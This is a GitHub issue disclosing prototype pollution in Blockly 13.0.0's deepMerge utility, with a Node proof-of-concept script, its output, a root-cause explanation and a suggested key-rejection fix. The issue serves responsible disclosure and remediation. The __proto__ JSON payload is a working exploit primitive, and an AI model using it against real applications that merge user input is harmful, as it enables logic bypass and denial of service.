Skip to content

Prototype pollution in Blockly.utils.object.deepMerge #10048

Description

@Dremig

Check for duplicates

  • I have searched for similar issues before opening a new one.

Description

blockly@13.0.0 appears to be vulnerable to prototype pollution through the public Blockly.utils.object.deepMerge() utility exported from the package root.

When deepMerge() receives a source object containing an own enumerable __proto__ property, it recursively merges into Object.prototype. After that, newly created plain objects in the same JavaScript process inherit attacker-controlled properties.

Observed behavior:

Object.prototype.blocklyPolluted: yes
plain object inherited: yes

Expected behavior:

Object.prototype.blocklyPolluted: undefined
plain object inherited: undefined

Affected version tested:

blockly@13.0.0

Root cause:

The public API Blockly.utils.object.deepMerge() does not appear to reject prototype-pollution primitives such as __proto__, constructor, or prototype before recursively merging object keys.

When the source key is __proto__, a normal target object's inherited __proto__ accessor resolves to Object.prototype, and the recursive merge writes attacker-controlled properties there.

Reproduction steps

  1. Create a clean test project:
rm -rf /tmp/blockly-pp-poc
mkdir /tmp/blockly-pp-poc
cd /tmp/blockly-pp-poc

npm init -y
npm install --ignore-scripts --no-audit --no-fund blockly@13.0.0
  1. Create poc.js:
const Blockly = require('blockly');

delete Object.prototype.blocklyPolluted;

console.log('deepMerge:', typeof Blockly?.utils?.object?.deepMerge);

const payload = JSON.parse('{"__proto__":{"blocklyPolluted":"yes"}}');
Blockly.utils.object.deepMerge({}, payload);

console.log('Object.prototype.blocklyPolluted:', Object.prototype.blocklyPolluted);
console.log('plain object inherited:', ({}).blocklyPolluted);

delete Object.prototype.blocklyPolluted;
  1. Run the proof of concept:
node poc.js

Observed output:

deepMerge: function
Object.prototype.blocklyPolluted: yes
plain object inherited: yes

Priority

Priority:

Work effort:

This should likely be a small hardening fix. The merge implementation should reject unsafe keys before assignment or recursion:

  • __proto__
  • constructor
  • prototype

A defensive helper could be added before recursively descending into source keys.

Impact:

This affects the public Blockly.utils.object.deepMerge() utility. If an application passes user-controlled or partially user-controlled objects into this helper, an attacker may be able to pollute Object.prototype in the JavaScript runtime.

Prototype pollution can affect later logic that relies on plain objects, default option objects, inherited properties, or property-existence checks. Depending on how polluted properties are consumed by the host application, this may lead to unexpected behavior, denial of service, logic bypass, or other application-specific impact.

This is application-dependent because deepMerge() is a utility API, but the affected API is public and reachable from the package root.

Stack trace

Screenshots

No response

Browsers

No response

Metadata

Metadata

Assignees

No one assigned

    Labels

    issue: bugDescribes why the code or behaviour is wrongissue: triageIssues awaiting triage by a Blockly team member

    Type

    No type
    No fields configured for issues without a type.

    Projects

    Status
    Todo

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions